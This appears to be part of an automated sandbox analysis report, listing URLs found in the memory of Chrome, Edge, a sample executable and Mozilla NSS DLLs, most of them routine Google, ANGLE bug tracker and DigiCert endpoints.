Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6953
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7036
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7047
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7172
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
Source: chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279O
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7556
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280-
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: chrome.exe, 00000002.00000002.2297028224.00007AA40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clients2.google.com/time/1/current
Source: chrome.exe, 00000002.00000002.2312907378.00007AA40062C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: chrome.exe, 00000002.00000002.2312907378.00007AA40062C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117z
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: chrome.exe, 00000002.00000002.2331470320.00007AA400980000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2257042930.00007AA400120000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNzI0QUFXNV9zT2RvdUwy
Source: chrome.exe, 00000002.00000002.2256091357.00007AA40006A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: chrome.exe, 00000002.00000003.2147139853.00007AA4010C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2146596934.00007AA400F04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2146961611.00007AA400F78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2146906103.00007AA4010A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://jsbin.com/temexa/4.
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: chrome.exe, 00000002.00000003.2147139853.00007AA4010C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2146596934.00007AA400F04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147699856.00007AA400FB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2148295796.00007AA40120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2148090446.00007AA401104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147607903.00007AA400DAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2146961611.00007AA400F78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2146906103.00007AA4010A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147866964.00007AA400430000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147669068.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2331506062.00007AA40099F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2146932504.00007AA4010F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chrome.exe, 00000002.00000003.2147139853.00007AA4010C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2146596934.00007AA400F04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147699856.00007AA400FB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2148295796.00007AA40120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2148090446.00007AA401104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147607903.00007AA400DAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2146961611.00007AA400F78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2146906103.00007AA4010A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147866964.00007AA400430000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147669068.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2331506062.00007AA40099F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2146932504.00007AA4010F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 00000002.00000003.2147139853.00007AA4010C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2146596934.00007AA400F04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147699856.00007AA400FB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2148295796.00007AA40120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2148090446.00007AA401104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147607903.00007AA400DAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2146961611.00007AA400F78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2146906103.00007AA4010A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147866964.00007AA400430000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147669068.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2331506062.00007AA40099F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2146932504.00007AA4010F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 00000002.00000003.2147139853.00007AA4010C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2146596934.00007AA400F04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147699856.00007AA400FB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2148295796.00007AA40120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2148090446.00007AA401104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147607903.00007AA400DAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2146961611.00007AA400F78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2146906103.00007AA4010A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147866964.00007AA400430000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147669068.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2331506062.00007AA40099F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2146932504.00007AA4010F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chrome.exe, 00000002.00000002.2331357772.00007AA400948000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certs
Source: chrome.exe, 00000002.00000002.2331357772.00007AA400948000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certsz
Source: chrome.exe, 00000002.00000002.2331506062.00007AA400990000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/
Source: chrome.exe, 00000002.00000002.2331506062.00007AA400990000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/H
Source: chromecache_468.4.dr	String found in binary or memory: http://www.broofa.com
Source: chrome.exe, 00000002.00000002.2332066616.00007AA400A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.gstatic.com/generate_204
Source: file.exe, file.exe, 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2538406341.000000001D6F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2546381305.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: chrome.exe, 00000002.00000002.2311471047.00007AA40050C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 00000002.00000002.2297028224.00007AA40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/
Source: chrome.exe, 00000002.00000002.2256630839.00007AA40009C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/v1/accountcapabilities:batchGet
Source: chrome.exe, 00000002.00000002.2310377917.00007AA4003D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com
Source: chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2255739491.00007AA400013000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: chrome.exe, 00000002.00000002.2295892982.00007AA4001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/AddSession
Source: chrome.exe, 00000002.00000002.2297028224.00007AA40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo
Source: chrome.exe, 00000002.00000002.2297028224.00007AA40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?json=standard
Source: chrome.exe, 00000002.00000002.2295892982.00007AA4001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout
Source: chrome.exe, 00000002.00000002.2295892982.00007AA4001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/MergeSession
Source: chrome.exe, 00000002.00000002.2295892982.00007AA4001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/OAuthLogin
Source: chrome.exe, 00000002.00000002.2297028224.00007AA40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/RotateBoundCookies
Source: chrome.exe, 00000002.00000003.2164961172.00007AA40033C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport/allowlist
Source: chrome.exe, 00000002.00000002.2297028224.00007AA40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.html
Source: chrome.exe, 00000002.00000002.2297028224.00007AA40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.htmlB
Source: chrome.exe, 00000002.00000002.2297028224.00007AA40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/reauth/chromeos
Source: chrome.exe, 00000002.00000002.2256709880.00007AA4000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/chrome/usermenu
Source: chrome.exe, 00000002.00000002.2256709880.00007AA4000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignin/chromeos
Source: chrome.exe, 00000002.00000002.2256709880.00007AA4000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignup/chromeos
Source: chrome.exe, 00000002.00000002.2297028224.00007AA40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/v2/chromeos
Source: chrome.exe, 00000002.00000002.2297028224.00007AA40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/windows
Source: chrome.exe, 00000002.00000002.2297028224.00007AA40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/xreauth/chrome
Source: chrome.exe, 00000002.00000002.2297028224.00007AA40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop
Source: chrome.exe, 00000002.00000002.2256630839.00007AA40009C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxAB
Source: chrome.exe, 00000002.00000002.2297028224.00007AA40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/revoke
Source: chrome.exe, 00000002.00000002.2297028224.00007AA40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/oauth/multilogin
Source: chrome.exe, 00000002.00000002.2297028224.00007AA40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/signin/chrome/sync?ssp=1
Source: chrome.exe, 00000002.00000002.2295892982.00007AA4001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com:443
Source: chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.comb
Source: chrome.exe, 00000002.00000003.2170961042.00007AA40173C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
